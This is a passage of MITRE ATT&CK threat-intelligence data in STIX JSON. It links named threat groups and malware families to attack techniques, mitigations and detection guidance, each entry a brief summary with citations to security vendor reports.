file.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b02c36d6-1027-4f11-98dc-ee4ef00a0b8b","type":"relationship","created":"2020-09-29T15:45:28.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC WellMess July 2020","url":"https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html","description":"PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."},{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-29T17:39:46.376Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can identify the IP address and user domain on the target machine.(Citation: PWC WellMess July 2020)(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b02e5116-d609-4e7f-a95e-77bd51f6c4ee","created":"2024-06-06T20:01:34.719Z","revoked":false,"external_references":[{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-06T20:01:34.719Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has enumerated domain groups on targeted hosts.(Citation: Huntress INC Ransom Group August 2023)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b033e131-e448-46c6-815b-b86e4bd6d638","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","source_name":"FireEye APT19"}],"modified":"2020-03-12T00:28:05.750Z","description":"[APT19](https://attack.mitre.org/groups/G0073) attempted to get users to launch malicious attachments delivered via spearphishing emails.(Citation: FireEye APT19)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b036723f-a215-4c04-a625-e57faac4d6b9","type":"relationship","created":"2021-11-24T20:17:35.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-11-24T20:17:35.667Z","description":"(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b03847f1-8b42-4457-8856-d5769e0f6e60","type":"relationship","created":"2020-10-20T03:30:15.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:36:59.020Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b039a79c-8df3-4e89-95ad-03d27b16a13c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-17T00:09:26.255Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) samples were timestomped by the authors by setting the PE timestamps to all zero values. [InvisiMole](https://attack.mitre.org/software/S0260) also has a built-in command to modify file times.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b04c89b2-f790-4961-a012-7ccd18d1436e","type":"relationship","created":"2020-05-26T20:09:39.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.699Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs using regsvr32.exe.(Citation: RedCanary Mockingbird May 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b05016f4-950a-40f4-9fe2-e924d7455c28","type":"relationship","created":"2019-12-19T20:21:21.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-12-19T20:21:21.900Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"ThreatStream Evasion Analysis","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"}],"modified":"2020-03-17T01:31:14.539Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) has used HTTP and HTTPS for command and control.(Citation: Dell TG-3390)(Citation: ThreatStream Evasion Analysis)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0557c84-d4c5-4016-8381-f419d18f2d47","type":"relationship","created":"2021-09-30T20:22:05.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T20:22:05.044Z","description":"[ProLock](https://attack.mitre.org/software/S0654) can use .jpg and .bmp files to store its payload.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b057569e-0e0b-4e8e-9955-016a556b8248","type":"relationship","created":"2020-05-15T15:04:34.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:28:38.343Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has been delivered as a package that includes compressed DLL and shellcode payloads within a .dat file.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b05da4f4-a47f-42d9-8464-58c6960a767a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}],"modified":"2020-03-30T02:36:45.216Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) compresses collected files with GZipStream before sending them to its C2 server.(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b05e473b-ac33-42ce-b7c6-a2a8517def0d","type":"relationship","created":"2020-08-25T15:02:17.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2021-06-07T19:23:33.372Z","description":"Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b0601ad4-5d8d-4c86-8d0a-86fc2edadbc3","created":"2022-07-14T14:48:36.865Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has exploited CVE-2012-0158 and CVE-2010-3333 for execution against targeted systems.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-14T14:48:36.865Z","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b06103d8-d410-418e-851a-63ca820cc27e","type":"relationship","created":"2020-01-30T16:36:51.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-31T19:55:02.897Z","description":"Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b062c271-ce67-4134-bf86-033123d351ff","created":"2024-08-09T17:35:45.327Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T17:35:45.327Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) is capable of checking whether a compromised device is running DeepFreeze by Faronics.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b063f8cf-86d1-47fb-8ada-2b39009ee9e2","type":"relationship","created":"2021-04-13T19:29:21.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-13T19:29:21.051Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129)'s custom ORat tool uses a WMI event consumer to maintain persistence.(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b069525d-194a-4bfb-a6f1-ad024a480e0b","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0702a30-f680-4f9b-99c3-352ce2a9557a","type":"relationship","created":"2020-05-08T18:41:16.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."},{"source_name":"Kaspersky Cloud Atlas December 2014","url":"https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/","description":"GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. Retrieved May 8, 2020."},{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."},{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:43.912Z","description":"[Inception](https://attack.mitre.org/groups/G0100) has exploited CVE-2012-0158, CVE-2014-1761, CVE-2017-11882 and CVE-2018-0802 for execution.(Citation: Kaspersky Cloud Atlas August 2019)(Citation: Kaspersky Cloud Atlas December 2014)(Citation: Symantec Inception Framework March 2018)(Citation: Unit 42 Inception November 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b07612e3-9f6f-4c55-a63d-629b0e4c099f","type":"relationship","created":"2019-06-20T14:52:45.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2019-07-06T21:31:25.787Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has exploited Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802 to deliver the payload.(Citation: FireEye HAWKBALL Jun 2019) ","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0766ea1-924a-4e1f-92db-17e5f4a3b72d","created":"2023-09-12T17:58:45.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"},{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T19:15:59.868Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used macro-enabled MS Word documents to lure victims into executing malicious payloads.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)(Citation: Telefonica Snip3 December 2021)\n","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"},{"source_name":"DOJ FIN7 Aug 2018","description":"Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.","url":"https://www.justice.gov/opa/press-release/file/1084361/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.062Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload.(Citation: FireEye FIN7 April 2017)(Citation: DOJ FIN7 Aug 2018)(Citation: Mandiant FIN7 Apr 2022) ","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b078c987-40be-459f-9045-4b2b92cc145b","type":"relationship","created":"2020-04-27T21:02:32.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."},{"source_name":"Talos PoetRAT October 2020","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}],"modified":"2021-04-12T12:44:34.345Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used Word documents with VBScripts to execute malicious activities.(Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0791504-fc65-402b-bc47-bd96ed4abea1","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"},{"url":"https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf","description":"Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.","source_name":"evolution of pirpi"}],"modified":"2019-04-29T18:01:20.623Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can obtain information about the local system.(Citation: Symantec Buckeye)(Citation: evolution of pirpi)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0831323-de94-498a-8338-c60778bef95f","created":"2019-06-21T17:38:45.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"NSA MS AppLocker","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:06.872Z","description":"Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using application control (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies 